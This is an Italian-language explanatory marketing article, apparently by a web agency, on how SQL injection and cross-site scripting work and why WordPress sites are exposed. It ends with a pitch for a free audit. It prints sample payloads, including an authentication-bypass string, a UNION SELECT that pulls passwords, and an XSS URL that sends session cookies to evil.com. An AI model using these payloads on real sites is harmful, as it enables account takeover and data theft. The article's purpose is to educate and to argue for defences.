Il problema che nessuno vuole ammettere
Ogni giorno in Italia decine di siti aziendali vengono compromessi. Non perché i titolari siano stati negligenti o abbiano cliccato su link sospetti: spesso la colpa è del software che usano senza saperlo.
SQL injection e Cross-Site Scripting (XSS) sono due tecniche di attacco che esistono da vent'anni, sono ben documentate, e continuano a essere tra le prime cause di violazione dei dati aziendali nel 2026. Il motivo è semplice: la maggior parte dei siti web aziendali italiani gira su CMS open source come WordPress, e la loro architettura li espone strutturalmente a questi attacchi.
In questo articolo spieghiamo esattamente come funzionano queste vulnerabilità, con esempi concreti, e cosa distingue un sistema davvero protetto da uno che si affida a plugin di sicurezza aggiornati male.
Cos'è SQL Injection e come funziona
Il meccanismo di base
Un'applicazione web comunica con il database attraverso query SQL. Quando un utente inserisce dati in un form — un campo di login, una barra di ricerca, un modulo di contatto — quell'input viene spesso incorporato direttamente nella query che interroga il database.
Il problema nasce quando l'applicazione si fida ciecamente di quello che l'utente scrive, senza verificarlo.
Immagina un sito con un form di login. Il codice PHP che gestisce l'accesso potrebbe costruire una query così:
sql
SELECT * FROM utenti WHERE email = '$email' AND password = '$password'
Se l'utente inserisce come email la stringa ' OR '1'='1, la query diventa:
sql
SELECT * FROM utenti WHERE email = '' OR '1'='1' AND password = '...'
La condizione '1'='1' è sempre vera. L'attaccante accede al pannello di amministrazione senza conoscere nessuna password.
Le varianti più pericolose
UNION SELECT — permette di aggiungere una seconda query alla prima, estraendo dati da tabelle diverse (ad esempio la lista completa di utenti e password):
sql
' UNION SELECT username, password FROM utenti --
Blind SQLi — quando il sito non mostra gli errori SQL ma si comporta diversamente in base al risultato della query. L'attaccante deduce le informazioni facendo domande true/false al database, una per volta.
Time-based SQLi — variante ancora più silenziosa: l'attaccante inietta funzioni come SLEEP(5) e misura il tempo di risposta del server. Se la pagina impiega 5 secondi a rispondere, la condizione era vera.
Cosa può fare un attaccante con SQLi
Con una SQL injection non filtrata l'attaccante può: leggere qualsiasi dato nel database (inclusi dati personali di clienti, hash di password, informazioni commerciali), scrivere dati arbitrari, eliminare intere tabelle, e in alcuni casi eseguire comandi sul sistema operativo del server.
Il danno medio di una violazione dati per una PMI italiana supera i 200.000 euro, tra notifiche obbligatorie GDPR, perdita di clienti e costi di ripristino.
Cos'è il Cross-Site Scripting (XSS) e come funziona
La logica dell'attacco
XSS funziona in modo diverso da SQLi: invece di attaccare il database, l'attaccante inserisce codice JavaScript malevolo nelle pagine del sito, che viene poi eseguito nel browser degli utenti che visitano quelle pagine.
L'obiettivo non è il server ma i tuoi clienti.
Le tre tipologie principali
XSS Reflected (riflesso) — il codice malevolo viaggia nell'URL. L'attaccante invia alla vittima un link come:
https://tuoesempio.it/search?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
Se il sito mostra il parametro q nella pagina senza filtrarlo, il browser della vittima esegue lo script e invia il cookie di sessione all'attaccante. A quel punto l'attaccante ha accesso all'account della vittima senza bisogno di credenziali.
XSS Stored (persistente) — il codice malevolo viene salvato nel database del sito (in un commento, nel profilo utente, in un campo del CMS) e servito a tutti gli utenti che visitano quella pagina. Questo è il tipo più pericoloso: un solo attacco infetta potenzialmente migliaia di utenti.
XSS DOM-based — la manipolazione avviene interamente nel browser attraverso JavaScript già presente nella pagina, senza che il server sia coinvolto. Più difficile da rilevare, difficile da bloccare lato server.
Richiedi l'Audit di Sicurezza Gratuito →
Cosa può fare un attaccante con XSS
Con XSS un attaccante può: rubare cookie di sessione e impersonare gli utenti, reindirizzare i visitatori verso siti di phishing, iniettare form falsi che raccolgono credenziali bancarie, installare malware nei browser dei visitatori, modificare visivamente il sito per danneggiare la reputazione aziendale.
Il caso più comune in Italia: siti aziendali WordPress che dopo un attacco XSS iniziano a reindirizzare i visitatori verso farmaci o siti scommesse. Il titolare lo scopre da una telefonata di un cliente.
Perché WordPress è strutturalmente più esposto
Non si tratta di una critica generica all'open source. È una questione architettonica.
La superficie di attacco è enorme. WordPress nel 2026 alimenta circa il 43% del web mondiale. Questo lo rende il bersaglio numero uno: ogni vulnerabilità scoperta vale oro per chi la sfrutta, perché si può automatizzare su milioni di siti contemporaneamente.
I plugin moltiplicano il rischio. Un sito WordPress tipico usa 20-40 plugin di terze parti, ognuno dei quali può introdurre vulnerabilità proprie. Il sito può essere perfettamente aggiornato ma un plugin non mantenuto apre la porta. Nel 2025 sono state registrate oltre 11.000 vulnerabilità nell'ecosistema WordPress.
La protezione da SQLi dipende da ogni singolo sviluppatore di plugin. WordPress stesso usa query preparate nel suo core, ma ogni plugin che accede al database lo fa con codice proprio. Se lo sviluppatore di quel plugin non ha usato $wpdb->prepare() correttamente, la vulnerabilità è lì, anche se WordPress è aggiornato.
La protezione da XSS dipende dai temi. WordPress non sanitizza automaticamente l'output di ogni tema. Ogni template PHP che stampa variabili non escapate è un potenziale vettore XSS. Con migliaia di temi disponibili, la qualità del codice varia enormemente.
Wordfence e plugin simili non sono il database. I firewall applicativi aggiunti tramite plugin proteggono a livello di richiesta HTTP ma arrivano dopo il codice del CMS. Se la vulnerabilità è nel codice PHP che viene eseguito prima del plugin di sicurezza, la protezione non si attiva.
Come si difende un sistema costruito correttamente
Un sistema che integra la sicurezza nell'architettura, invece di aggiungerla dopo, funziona in modo molto diverso.
Query preparate sempre, senza eccezioni. Il modo corretto di costruire query è separare il codice SQL dai dati dell'utente, che vengono passati come parametri separati e mai interpolati nella stringa. Il database driver gestisce l'escape automaticamente. Non c'è modo di iniettare SQL in un parametro separato.
Output encoding su ogni variabile. Ogni dato proveniente dall'utente o dal database, prima di essere scritto nell'HTML, deve essere trasformato in modo che i caratteri speciali come <, >, " vengano resi innocui. Un sistema corretto fa questo automaticamente per ogni output, non solo quando il developer ci ricorda.
Firewall applicativo integrato nel core. La differenza tra un WAF aggiunto come plugin e uno integrato nel core dell'applicazione è fondamentale: il secondo analizza ogni richiesta HTTP prima che raggiunga qualsiasi logica applicativa, con pattern aggiornati centralmente e non soggetti a conflitti tra plugin.
Content Security Policy headers. Un header CSP correttamente configurato dice al browser quali domini possono caricare script. Anche se un attaccante riuscisse a iniettare uno script, il browser si rifiuterebbe di eseguirlo se il dominio non è nella whitelist. Questa protezione deve essere configurata a livello server, non è qualcosa che si attiva con un plugin.
La domanda che devi fare al tuo fornitore
Se il tuo sito attuale gira su WordPress o un altro CMS open source, hai il diritto di fare al tuo provider o alla tua web agency queste domande:
Come viene gestita la sanitizzazione degli input in tutti i plugin installati? Chi aggiorna i plugin quando escono vulnerabilità critiche? Esiste un WAF integrato o si usano plugin come Wordfence? Sono configurati security headers come CSP, X-Frame-Options, HSTS? Gli output sono sempre encodati prima di essere stampati nell'HTML?
Se la risposta a una di queste domande è vaga, il tuo sito probabilmente ha vulnerabilità che non conosci ancora.
SQL injection e XSS non sono minacce teoriche o preoccupazioni per le grandi aziende. Sono tecniche automatizzate che scanner e bot eseguono continuamente su ogni sito raggiungibile su internet, indipendentemente dalle dimensioni dell'azienda.
La differenza non la fa il piano hosting o l'antivirus sul server: la fa l'architettura del sistema che gestisce il tuo sito. Un sistema che tratta la sicurezza come un problema architetturale — non come un plugin da installare — è strutturalmente più resistente a questi attacchi.
Se vuoi sapere se il tuo sito attuale supera questi test, puoi richiedere un audit gratuito: il nostro team analizza la superficie di attacco del tuo sito esistente e ti fornisce un report con le vulnerabilità trovate e le soluzioni consigliate.
Richiedi l'Audit di Sicurezza Gratuito →
